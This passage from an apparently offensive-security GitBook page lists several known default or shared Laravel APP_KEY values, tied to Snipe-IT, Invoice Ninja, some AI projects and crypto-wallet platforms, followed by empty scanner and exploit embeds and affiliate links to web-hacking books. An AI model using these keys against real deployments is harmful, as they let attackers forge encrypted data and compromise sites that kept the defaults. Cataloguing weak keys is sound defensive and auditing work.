3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ= | Default key on Snipe-IT | ⬆️ | | 19 | 94 | ahimIiG674yV4DkPWx6f7t9dkMmTFK2S+0lCPglpVfs= | Key shared between several random Laravel projects, seems they are copying each other | ⬇️ | | 24 | 87 | yPBSs/6cUPg+mwXV00hWJpB8TFk4LT+YduzProk5//Q= | Default key on several AI based projects | ⬇️ | | 26 | 84 | RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno= | Default key on Invoice ninja | ⬇️ | | 320 | 11 | 1HJ+CWiouSuJODKAgrMxvwxcm2Tg8MjlrqSl/8ViT5E= | Seems linked to several platforms linked to crypto wallet management | ⬇️ | ## Scanners {% embed url="" %} {% embed url="" %} ## Other exploits {% embed url="" %} ## Resources {% embed url="" %} {% embed url="" %} ## Interesting Books {% content-ref url="/pages/VVT5FQq9z62bWoNAWCUS" %} [Interesting Books](/0xss0rz/interesting-books.md) {% endcontent-ref %} {% hint style="info" %} **Disclaimer**: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you. {% endhint %} * [**The Web Application Hacker’s Handbook**](https://www.amazon.fr/dp/1118026470?tag=0xss0rz-21) The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more * [**Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities**](https://www.amazon.fr/dp/1718501544?tag=0xss0rz-21) Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them * [**Real-World Bug Hunting: A Field Guide to Web Hacking**](https://www.amazon.fr/dp/1593278616?tag=0xss0rz-21) Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery. ## Support this Gitbook I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it. 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